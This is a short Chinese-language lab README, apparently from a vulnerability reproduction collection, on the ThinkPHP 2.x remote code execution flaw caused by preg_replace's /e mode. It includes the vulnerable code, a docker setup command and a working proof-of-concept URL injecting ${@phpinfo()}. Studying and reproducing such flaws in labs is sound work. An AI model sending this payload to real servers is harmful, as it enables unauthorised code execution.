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thinkphp/2-rce/README.zh-cn.md
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thinkphp/2-rce/README.zh-cn.md
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# ThinkPHP 2.x 任意代码执行漏洞
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ThinkPHP是一个在中国被广泛使用的PHP框架。ThinkPHP 2.x版本中存在一个远程代码执行漏洞。
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在ThinkPHP 2.x版本中,框架使用`preg_replace`的`/e`模式匹配路由:
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```php
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$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
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```
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这个实现导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。值得注意的是,ThinkPHP 3.0版本在Lite模式下也存在这个漏洞,因为这个问题在该模式下并未被修复。
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## 环境搭建
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执行如下命令启动ThinkPHP 2.1的Demo应用:
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:8080/Index/Index`即可查看到默认页面。
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## 漏洞复现
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通过URL参数注入PHP代码来利用此漏洞。直接访问`http://your-ip:8080/index.php?s=/index/index/name/${@phpinfo()}`,服务器将执行`phpinfo()`函数,证明远程代码执行漏洞利用成功:
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